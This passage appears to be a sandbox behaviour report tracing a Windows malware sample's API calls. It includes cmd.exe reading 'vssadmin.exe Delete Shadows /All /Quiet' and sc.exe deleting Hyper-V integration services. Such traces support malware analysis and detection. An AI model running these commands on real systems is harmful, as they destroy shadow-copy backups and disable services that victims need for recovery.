lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0143.577] GetEnvironmentStringsW () returned 0x25ba90* [0143.577] GetProcessHeap () returned 0x240000 [0143.577] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0143.578] FreeEnvironmentStringsW (penv=0x25ba90) returned 1 [0143.578] GetProcessHeap () returned 0x240000 [0143.578] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0143.578] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0143.578] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0143.579] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.579] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0143.579] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.579] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0143.579] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.579] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0143.579] GetConsoleOutputCP () returned 0x1b5 [0143.580] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0143.580] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.580] GetProcessHeap () returned 0x240000 [0143.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0143.580] GetProcessHeap () returned 0x240000 [0143.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0143.580] GetProcessHeap () returned 0x240000 [0143.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0143.580] GetProcessHeap () returned 0x240000 [0143.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0143.580] GetProcessHeap () returned 0x240000 [0143.580] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0143.580] GetProcessHeap () returned 0x240000 [0143.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0143.581] GetProcessHeap () returned 0x240000 [0143.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0143.581] GetProcessHeap () returned 0x240000 [0143.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0143.581] GetProcessHeap () returned 0x240000 [0143.581] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0143.581] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0143.581] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.581] GetFileType (hFile=0x120) returned 0x3 [0143.581] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.581] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0143.581] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0143.581] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0143.581] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0143.582] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0143.582] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0143.582] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.582] GetFileType (hFile=0x120) returned 0x3 [0143.582] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.582] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0143.582] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0143.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.582] GetFileType (hFile=0xb8) returned 0x3 [0143.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.582] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0143.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="essadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0143.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.582] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0143.582] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="xsadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0143.582] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.582] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.583] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0143.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr="iadmin.exe Delete Shadows /All /Quiet\n") returned 1 [0143.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.583] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0143.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="tdmin.exe Delete Shadows /All /Quiet\n") returned 1 [0143.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.583] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0143.583] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="\nmin.exe Delete Shadows /All /Quiet\n") returned 1 [0143.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.583] GetFileType (hFile=0xb8) returned 0x3 [0143.583] _get_osfhandle (_FileHandle=0) returned 0xb8 [0143.583] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0143.583] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.583] GetFileType (hFile=0x120) returned 0x3 [0143.583] _get_osfhandle (_FileHandle=1) returned 0x120 [0143.583] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="exit\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exit\n", lpUsedDefaultChar=0x0) returned 6 [0143.583] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x5, lpOverlapped=0x0) returned 1 [0143.583] GetProcessHeap () returned 0x240000 [0143.583] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x288630 [0143.583] GetProcessHeap () returned 0x240000 [0143.583] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x288630 | out: hHeap=0x240000) returned 1 [0143.584] GetProcessHeap () returned 0x240000 [0143.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0143.584] GetProcessHeap () returned 0x240000 [0143.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x254610 [0143.584] GetConsoleOutputCP () returned 0x1b5 [0143.584] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0143.584] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.584] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0143.584] GetProcessHeap () returned 0x240000 [0143.584] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x14) returned 0x2589b0 [0143.584] GetProcessHeap () returned 0x240000 [0143.585] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x1a) returned 0x254640 [0143.585] GetProcessHeap () returned 0x240000 [0143.585] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259910 [0143.585] GetConsoleTitleW (in: lpConsoleTitle=0x259920, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0143.585] GetProcessHeap () returned 0x240000 [0143.585] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259910, Size=0x80) returned 0x259910 [0143.585] GetProcessHeap () returned 0x240000 [0143.585] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259910) returned 0x80 [0143.585] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - exit") returned 1 [0143.586] GetProcessHeap () returned 0x240000 [0143.586] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0143.586] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0143.586] exit (_Code=0) Process: id = "4" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x478ff000" os_pid = "0x754" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmickvpexchange" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 5 os_tid = 0x7b8 [0071.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fbd0 | out: lpSystemTimeAsFileTime=0x28fbd0*(dwLowDateTime=0x352ccdf0, dwHighDateTime=0x1d62786)) [0071.891] GetCurrentProcessId () returned 0x754 [0071.892] GetCurrentThreadId () returned 0x7b8 [0071.892] GetTickCount () returned 0x114872a [0071.892] QueryPerformanceCounter (in: lpPerformanceCount=0x28fbd8 | out: lpPerformanceCount=0x28fbd8*=19176530052) returned 1 [0071.892] GetModuleHandleW (lpModuleName=0x0) returned 0xff0e0000 [0071.892] __set_app_type (_Type=0x1) [0071.892] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff0e7228) returned 0x0 [0071.892] __wgetmainargs (in: _Argc=0xff0eb604, _Argv=0xff0eb610, _Env=0xff0eb608, _DoWildCard=0, _StartInfo=0xff0eb050 | out: _Argc=0xff0eb604, _Argv=0xff0eb610, _Env=0xff0eb608) returned 0 [0071.893] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.895] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0071.895] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0071.895] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0071.895] _wcsicmp (_String1="delete", _String2="query") returned -13 [0071.895] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="start") returned -15 [0071.896] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0071.896] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0071.896] _wcsicmp (_String1="delete", _String2="control") returned 1 [0071.896] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0071.896] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0071.896] _wcsicmp (_String1="delete", _String2="config") returned 1 [0071.896] _wcsicmp (_String1="delete", _String2="description") returned -7 [0071.896] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0071.896] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0071.896] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0071.896] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0071.896] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0071.896] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0071.896] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0071.896] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0071.896] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0071.896] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0071.896] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0xc43a0 [0071.902] OpenServiceW (hSCManager=0xc43a0, lpServiceName="vmickvpexchange", dwDesiredAccess=0x10000) returned 0x0 [0071.902] GetLastError () returned 0x424 [0071.902] _itow (in: _Dest=0x424, _Radix=2685496 | out: _Dest=0x424) returned="1060" [0071.902] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xff0eb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0071.905] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x28f9f0, nSize=0x2, Arguments=0x28fa20 | out: lpBuffer="趀\x0c") returned 0x62 [0071.906] GetFileType (hFile=0x120) returned 0x3 [0071.906] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0xc8e60 [0071.906] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0xc8e60, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n\x0c", lpUsedDefaultChar=0x0) returned 98 [0071.906] WriteFile (in: hFile=0x120, lpBuffer=0xc8e60*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x28f998, lpOverlapped=0x0 | out: lpBuffer=0xc8e60*, lpNumberOfBytesWritten=0x28f998*=0x62, lpOverlapped=0x0) returned 1 [0071.906] LocalFree (hMem=0xc8e60) returned 0x0 [0071.906] LocalFree (hMem=0xc8d80) returned 0x0 [0071.906] LocalFree (hMem=0x0) returned 0x0 [0071.906] CloseServiceHandle (hSCObject=0xc43a0) returned 1 [0072.006] exit (_Code=1060) Thread: id = 6 os_tid = 0x4fc Process: id = "5" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46b10000" os_pid = "0x290" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmicguestinterface" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 7 os_tid = 0x408 [0072.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12faf0 | out: lpSystemTimeAsFileTime=0x12faf0*(dwLowDateTime=0x35612c30, dwHighDateTime=0x1d62786)) [0072.238] GetCurrentProcessId () returned 0x290 [0072.238] GetCurrentThreadId () returned 0x408 [0072.238] GetTickCount () returned 0x1148881 [0072.238] QueryPerformanceCounter (in: lpPerformanceCount=0x12faf8 | out: lpPerformanceCount=0x12faf8*=19211214089) returned 1 [0072.240] GetModuleHandleW (lpModuleName=0x0) returned 0xffec0000 [0072.240] __set_app_type (_Type=0x1) [0072.240] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffec7228) returned 0x0 [0072.240] __wgetmainargs (in: _Argc=0xffecb604, _Argv=0xffecb610, _Env=0xffecb608, _DoWildCard=0, _StartInfo=0xffecb050 | out: _Argc=0xffecb604, _Argv=0xffecb610, _Env=0xffecb608) returned 0 [0072.241] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.244] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.244] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.244] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.244] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.244] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.244] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.244] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.244] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.244] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.244] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.244] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.244] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.244] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.244] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.244] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.244] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.244] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.244] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="qtriggerinfo") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="qsidtype") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="showsid") returned -15 [0072.244] _wcsicmp (_String1="delete", _String2="qpreferrednode") returned -13 [0072.244] _wcsicmp (_String1="delete", _String2="querylock") returned -13 [0072.245] _wcsicmp (_String1="delete", _String2="lock") returned -8 [0072.245] _wcsicmp (_String1="delete", _String2="delete") returned 0 [0072.245] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x2643e0 [0072.289] OpenServiceW (hSCManager=0x2643e0, lpServiceName="vmicguestinterface", dwDesiredAccess=0x10000) returned 0x0 [0072.289] GetLastError () returned 0x424 [0072.290] _itow (in: _Dest=0x424, _Radix=1243480 | out: _Dest=0x424) returned="1060" [0072.290] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xffecb740, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0072.291] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x12f910, nSize=0x2, Arguments=0x12f940 | out: lpBuffer="跀&") returned 0x62 [0072.292] GetFileType (hFile=0x120) returned 0x3 [0072.292] LocalAlloc (uFlags=0x0, uBytes=0xc4) returned 0x268ea0 [0072.292] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n", cchWideChar=98, lpMultiByteStr=0x268ea0, cbMultiByte=196, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[SC] OpenService FAILED 1060:\r\n\r\nThe specified service does not exist as an installed service.\r\n\r\n&", lpUsedDefaultChar=0x0) returned 98 [0072.292] WriteFile (in: hFile=0x120, lpBuffer=0x268ea0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x12f8b8, lpOverlapped=0x0 | out: lpBuffer=0x268ea0*, lpNumberOfBytesWritten=0x12f8b8*=0x62, lpOverlapped=0x0) returned 1 [0072.292] LocalFree (hMem=0x268ea0) returned 0x0 [0072.292] LocalFree (hMem=0x268dc0) returned 0x0 [0072.292] LocalFree (hMem=0x0) returned 0x0 [0072.292] CloseServiceHandle (hSCObject=0x2643e0) returned 1 [0072.307] exit (_Code=1060) Thread: id = 8 os_tid = 0x780 Process: id = "6" image_name = "sc.exe" filename = "c:\\windows\\system32\\sc.exe" page_root = "0x46b15000" os_pid = "0x80c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x7d0" cmd_line = "sc delete vmicshutdown" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x81c [0072.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fd10 | out: lpSystemTimeAsFileTime=0x24fd10*(dwLowDateTime=0x35801e10, dwHighDateTime=0x1d62786)) [0072.435] GetCurrentProcessId () returned 0x80c [0072.435] GetCurrentThreadId () returned 0x81c [0072.435] GetTickCount () returned 0x114894c [0072.436] QueryPerformanceCounter (in: lpPerformanceCount=0x24fd18 | out: lpPerformanceCount=0x24fd18*=19230924957) returned 1 [0072.436] GetModuleHandleW (lpModuleName=0x0) returned 0xff220000 [0072.436] __set_app_type (_Type=0x1) [0072.436] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff227228) returned 0x0 [0072.436] __wgetmainargs (in: _Argc=0xff22b604, _Argv=0xff22b610, _Env=0xff22b608, _DoWildCard=0, _StartInfo=0xff22b050 | out: _Argc=0xff22b604, _Argv=0xff22b610, _Env=0xff22b608) returned 0 [0072.437] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.439] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.439] GetStdHandle (nStdHandle=0xfffffff5) returned 0x120 [0072.439] wcsncmp (_String1="de", _String2="\\\\", _MaxCount=0x2) returned 8 [0072.439] _wcsicmp (_String1="delete", _String2="query") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="queryex") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="start") returned -15 [0072.439] _wcsicmp (_String1="delete", _String2="pause") returned -12 [0072.439] _wcsicmp (_String1="delete", _String2="interrogate") returned -5 [0072.439] _wcsicmp (_String1="delete", _String2="control") returned 1 [0072.439] _wcsicmp (_String1="delete", _String2="continue") returned 1 [0072.439] _wcsicmp (_String1="delete", _String2="stop") returned -15 [0072.439] _wcsicmp (_String1="delete", _String2="config") returned 1 [0072.439] _wcsicmp (_String1="delete", _String2="description") returned -7 [0072.439] _wcsicmp (_String1="delete", _String2="failure") returned -2 [0072.439] _wcsicmp (_String1="delete", _String2="privs") returned -12 [0072.439] _wcsicmp (_String1="delete", _String2="failureflag") returned -2 [0072.439] _wcsicmp (_String1="delete", _String2="triggerinfo") returned -16 [0072.439] _wcsicmp (_String1="delete", _String2="sidtype") returned -15 [0072.439] _wcsicmp (_String1="delete", _String2="preferrednode") returned -12 [0072.439] _wcsicmp (_String1="delete", _String2="qc") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="qdescription") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="qfailure") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="qprivs") returned -13 [0072.439] _wcsicmp (_String1="delete", _String2="qfailureflag") returned -13 [0072.439] _wcsicmp (_String1="delete", 